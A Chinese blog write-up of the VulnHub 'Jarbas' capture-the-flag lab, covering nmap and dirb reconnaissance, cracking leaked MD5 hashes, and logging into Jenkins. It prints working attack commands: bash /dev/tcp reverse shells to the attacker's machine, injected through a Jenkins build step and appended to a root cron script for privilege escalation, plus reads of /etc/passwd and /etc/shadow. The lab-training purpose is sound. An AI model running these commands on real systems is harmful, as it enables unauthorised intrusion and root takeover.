红队打靶:JARBAS详细打靶思路(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描

第二步:web渗透(目录扫描)

第三步:web渗透(漏洞利用)

第四步:提权

总结与思考

写在开头

 本博客依旧是根据大佬红队笔记的视频,复现整个JARBAS打靶的思路。不同于简单的writeup,红队笔记在渗透测试的每一步中的做法都有阐释。逻辑明确,纵然是简单的靶机也有很多知识点,故此做一个总结。本期打靶的红队笔记的视频在下方:

「红队笔记」靶机精讲:JARBAS - Jenkins渗透原理详解,一个典型CMS渗透测试样本。_哔哩哔哩_bilibili

本次打靶的过程也是思路比较明确的,但有两个地方的思路需要一定的经验。其一是需要对靶机中CMS的常规漏洞(Jenkins)有一定了解,另外一个就是提权时用到了crontab计划任务,具体思路过程会在下文给出。靶机也是vulnhub上的,详情见:

Jarbas: 1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/jarbas/Jarbas.zip

 下载完成之后,直接用vmware打开,什么也不用设置,靶机打开之后是一个登录界面:

第一步:主机发现与端口扫描

 打靶最开始的思路都是一致的,这里主机发现和端口扫描的操作和上一篇w1r3s1.01靶机基本,上一篇博客详情见:

w1r3s打靶全过程

查看kali本机ip,发现本机ip是192.168.200.131,网段是192.168.200.0/24

ip a

 进行主机发现,用-sn参数(ping 扫描)扫描同网段的存活主机。成功发现了靶机的ip为192.168.200.140。实际渗透测试建议在靶机未上线时先扫描一次,靶机上线之后再扫描一次,这样对比观察就能确定靶机的ip

nmap –sn 192.168.200.0/24

 端口扫描,以每秒10000的最小速率(--min-rate 10000)扫描全部端口(-p-),其中10000是扫描准度和速度的权衡结果。

nmap –min-rate 10000 –p- 192.168.200.140

 端口扫描结果显示有4个端口开放,分别是22,80,3306,8080。我们具体用TCP扫描(-sT)查看其服务版本(-sV)和操作系统(-O),命令如下

nmap –sT -sV –O –p22,80,3306,8080 192.168.200.140

 发现开放的就是几个常见服务,靶机操作系统是Linux,8080端口开放的服务版本是Jetty 9.4.z-SNAPSHOT,这里不太了解,可能一会web渗透的时候要重点搜索关注。接下来为了保证不遗漏任何端口信息,再进行一次UDP扫描(-sU)

nmap –sU –p22,80,3306,8080 192.168.200.140

 结果发现UDP端口全都关了,那没事了。再用nmap的脚本进行漏洞扫描(--script=vuln)

nmap –script=vuln –p22,80,3306,8080 192.168.200.140

 漏洞扫描也没太多发现,就发现8080端口有一个robots.txt的文件,一会可以看一下。下面我们要开始渗透了,至于从哪里入手,分析如下:

一共开放了四个端口,22远程登录,3306数据库MySQL,还有两个web端口80和8080。显然这个靶机的入口应该还是web。SSH没有太多的攻击面。因此接下来,我们先进行web渗透。

第二步:web渗透(目录扫描)

浏览器访问页面192.168.200.140,可以看到一个jarbas的页面,这就是80端口的页面(即192.168.200.140:80)。

 8080也是web端口,我们同样用浏览器访问192.168.200.140:8080 ,发现是一个登录界面:同时暴露了cms是Jenkins。

如果能够登录进这个界面,应该就可以看到更多有关网站管理后台的信息。因此我们的首要思路就是如何找到这个登录界面的账号和密码,寻找用户名和密码有如下几个思路:

  1. 尝试默认登录,Jenkins是常见cms,可能存在默认密码
  2. 尝试弱口令爆破
  3. 尝试渗透寻找相关密码。

 我们还是先找找有没有一些信息泄露的位置,可能暴露这里的登录用户名和密码。其次在网上搜索有没有Jenkins这类cms的默认登录密码,爆破是迫不得已的方法。

这里插叙一下,在进行nmap漏洞扫描的时候,我们发现了8080端口又robots.txt,因此访问192.168.200.140:8080/robots.txt试一试。

 robots.txt界面有一句话,我们不想让机器人点击“build”链接,此时我们并不了解含义,大致猜测应该是网站不希望一些自动化工具点击build。下面我们再进行一下目录爆破,看看有没有什么其他可以提供信息的web页面。先用dirb试试。

dirb 192.168.200.140

 非常遗憾,啥也没看出来,不应该呀。通常web后台我们关注的是.php和.html页面,那么我们再指定参数 –x .php,.html试一试。

dirb http://192.168.200.140 –x .php,.html

结果还不错,扫出来一个access.html页面,当然还有一个index.html页面,试了一下发现就是初始页面,意义不大。我们尝试访问192.168.200.140/access.html 

 关键信息原来在这儿呢!首先access的意思就有访问、到达的含义,这个页面还给出了一些关键信息,首先是图片上方的标题,直译结果为:凭据以安全的方式进行了加密

这里的creds凭据应该就是指密码,下面有三行信息,貌似是用户名和密码,密码经过加密,貌似是md5的形式,那么我们用hash-identifier确认一下加密方式,把第一行的数据5978a63b4654c73c60fa24f836386d87检测一下。 

 好了,下一步就是用md5破解工具,这里找了个在线md5破解网站,把三行md5加密后的内容复制进去。这里给出一个在线解密md5的网址:

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online

 把三行密码的md5复制进去,点击提交,破解结果如下:

 结果是:

tiago:5978a63b4654c73c60fa24f836386d87:italia99

trindade:9b38e2b1e8b12f426b0d208a7ab6cb98:vipsu

eder:f463f63616cb3f1e81ce46b39f882fd5: Marianna

成功搞到了三个密码,接下来使用这三个密码对8080端口的登录进行尝试。尝试如下:

用户名

密码

是否登录成功

tiago

italia99

trindade

vipsu

eder

Marianna

 真是奇怪了!三个对应的用户名和密码竟然都不对!可恶!难道这三个密码是用于22端口ssh远程登录的吗?于是我依次又尝试了ssh登录,三个账号依旧login false。8080端口登录失败的界面如下:

 这时候就需要一点小脑洞了。莫非是access.html界面给出的三个账号和密码并非对应,而是错位的?咱也不太清除,试一试看。结果神奇的发现,用户名eder密码vipsu可以成功登录。此处需要注意的是,这里access.html界面仅仅有三个账号,依次手动输入,排列组合,顶多就是3*3=9种可能,可是如果给出的账号比较多,我们可能就需要使用BurpSuite里面的攻击器Intruder进行爆破,要选择用集束炸弹爆破。这里我还是想吐槽一下,access.html页面给出的用户名和密码不对应这一点,对于我这个菜鸟小白还是不太容易想到。如果硬要解释,我觉得可以这么想(马后炮角度):

access.html页面给出的标题:凭据以安全的方式进行了加密!这个页面明明就仅仅对密码进行了md5加密,很容易被爆破解密出来,这怎么就安全了?

这个页面明显是有关于密码的提示信息,而且我们也尝试了ssh登录,结果失败,那么应该就是web界面8080端口的登录。可是我们已经尝试了三个账号,都无法登录进8080端口。

那我们现在只有三个用户名和三个密码,只能是依次不对应的尝试一下了。或许“不对应”也是acccess.html页面中“安全(safe)”的体现

 登录进来的页面如下:

第三步:web渗透(漏洞利用)

在第二步中,我们已经成功登录了8080端口的页面,进来之后发现是一个cms的后台管理页面,这个后台是Jenkins,下面我们就是需要寻找这个cms有哪些漏洞。我们可以先去kali中的searchsploit搜索一下,或者去msf看看有没有Jenkins的相关漏洞。我这里一搜发现一大堆,整的我有选择恐惧症了。红队笔记大佬说他对Jenkins这个cms非常熟悉,因此漏洞触发的点也非常清楚。总之读者如果看到这里就继续往下看。

进入登录进来的页面有一个创建新项目的选项,那我们干脆创建一个项目,并观察创建过程的配置选项,看看是否存在可能出现漏洞的位置。点击create new job,随便给项目起个名字,我们这里就叫Hacking吧,项目类型就选第一个freestyle project,点击ok。至于为啥选freestyle project,只能说这个排在第一个,应该是最常用的选项,最有可能具有更多的功能点,也就有可能有更多的攻击面。

 点击ok之后,进入了下图的配置界面。

 这个配置界面的选项有很多,我们的目标是寻找漏洞。发现有个build模块,想起了之前robots.txt的提示,可能就是说不希望自动化工具在这里build。因此我们看一下Build模块,点击add build step,下拉箭头有很多,第一个是执行windows批处理命令,之前nmap扫描的时候已经发现靶机是linux,因此这个选项不在我们考虑的范围。第二个命令是excute shell执行shell,这就很有趣了,这里可以执行shell吗?那我们是不是可以在这里构造反弹shell的命令,然后build执行?

 我们选择excute shell,出现了command输入界面,我们就输入反弹shell的命令,点击save用kali的4444端口接收反弹shell好了。请读者注意,下列命令中的ip应该改为kali的ip和一会kali监听的端口,即接收反弹shell的ip和端口。

/bin/bash –i >& /dev/tcp/192.168.200.131/4444 0>&1

 点击save之后,在启动这个项目之前(build now按钮点击之前),我们先要在kali上开启4444端口进行监听。

nc –lvnp 4444

 然后在刚才的Jenkins管理界面点击build now

 点击之后,管理界面如下图,项目应该是成功建立并启动了:

回到刚才进行监听4444端口的kali终端,成功获得了初始立足点,获得了一个反弹shell:

 非常nice,那么我们就看看这个shell的相关信息:

whoami
uname –a
sudo -l

 发现这个shell的用户叫做jenkins,和cms同名,同时权限很低,我们试试能不能看到/etc/passwd中所有的账户信息:

cat /etc/passwd

 这里有两个用户是有bash的,即root和eder。而我们正在登录的jenkins的bash还并不完全,为/bin/false。我们再试试能不能查看/etc/shadow

cat /etc/shadow

 很遗憾,没权限。那么我们就无法通过/etc/passwd破解登录的账户和密码了。此时我们已经获得了初始立足点jenkins,接下来的关键就是找到提权的方法获取root权限。

第四步:提权

提权的基本思路就是:以低权限修改可执行文件/脚本,却以高权限运行可执行文件/脚本。因此我们的思路就是寻找以高权限运行的脚本,企图修改脚本,在其中添加我们的“恶意指令”,最终实现提权。最终发现了以root权限运行的定时任务。

cat /etc/crontab

发现了一个每五分钟定期执行的sh脚本CleaningScript.sh,我们看一看他是啥:

 发现就是一个定期删除日志的脚本。那么我们试试能不能追加一行,让在定时任务中加入命令,使得反弹shell到kali,注意在追加这个命令之前,先要另起一个终端,监听4443端口用于接收root的反弹shell。监听哪个端口无所谓,但不要选择之前接收jenkins的4444端口,避免冲突混乱。

nc -lvnp 4443

接下来在crontab定时任务中追加反弹shell到kali4443端口的命令,在jenkins的shell中执行:

echo “/bin/bash –i >& /dev/tcp/192.168.200.131/4443 0>&1” >> /etc/script/CleaningScript.sh

 最多等待5min后(因为定时任务是每5min执行一次),在监听4443端口的终端应该会接收到靶机root权限的shell,果然,成功提权:

flag就在当前目录下:

 至此打靶完成。

总结与思考

打靶完成后,再进行一下总结。这个打靶的全过程思路如下:

1.主机发现,nmap扫描发现靶机是192.168.200.140

2.端口扫描,发现开放了22,80,3306,8080四个端口。并针对这四个端口进行漏洞扫描,发现8080端口有一个robots.txt的文件

3.目录扫描,从web界面入手,发现jarbas的界面和8080端口的登录界面。对网站进行目录扫描后发现access.html文档,经过解密,成功得到了用户名和密码,登录进入了名为Jenkins的cms后台。

4.查看端口扫描出的robots.txt文件,发现有关于build的提示,在Jenkins的解密寻找漏洞和可能build的位置,成功发现了execute shell的位置,输入反弹shell到kali的指令,点击build now,成功建立项目并执行命令,kali中之前监听的端口接收到了反弹shell,拿到了初始立足点jenkins的shell

5.提权。发现此时jenkins的shell权限很低,我们企图寻找以高权限运行的脚本,企图修改脚本,在其中添加我们的“恶意指令”,最终实现提权。最终发现了以root权限运行的定时任务。在其中追加了反弹root的shell的指令,并在kali中另起一个终端监听端口,成功拿到了root权限的shell。

这个靶机也不算难。但在打靶的过程还是涉及到了一些脑洞和知识点。我感觉不太容易想到的地方和启发有如下几点:

1.网站目录扫描的时候,默认不带参数,是无法扫出access.html页面的,如果卡在这里就完全走不下去了。因此做网站目录扫描的时候,如果一次扫不出结果,可以添加一些参数,或使用多种扫描工具,尽可能多获得一些信息

2.拿到access.html页面的三个用户名和密码并尝试登录8080端口失败后,是怎么想到用户名和密码可能不对应的?这里需要经验、脑洞。同时也启发我们,当信息有限且无法利用的时候(我们只有这三个用户名和密码,但对应登录都不对),可以尽可能的尝试利用有限的信息

3.漏洞利用的时候,如果对Jenkins这个cms并不了解,如何进行渗透。这里考察了大家的信息检索能力,如何检索漏洞信息。当然,本文写道可以利用robots信息的提示,但我感觉这个提示还是略显牵强,如果我不了解Jenkins,不看红队笔记大佬视频,也不知道搜索出来的漏洞利用exp如何跑,还是很难进行下一步。而主观上对web界面进行探索,观察可能存在漏洞的位置也是不错的思路。

4.提权的时候,咋想到用crontab定时任务的。需要一些经验,也需要对提权有所了解才行。还是要了解提权的核心思路:以低权限修改可执行文件/脚本,却以高权限运行可执行文件/脚本。

往期打靶文章推荐:

w1r3s打靶全过程

感谢读者阅读。如果喜欢这篇文章,欢迎点赞转发或私信。后续我也会继续写写红队打靶的博客,希望大家多多支持。
 

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131017549
今日推荐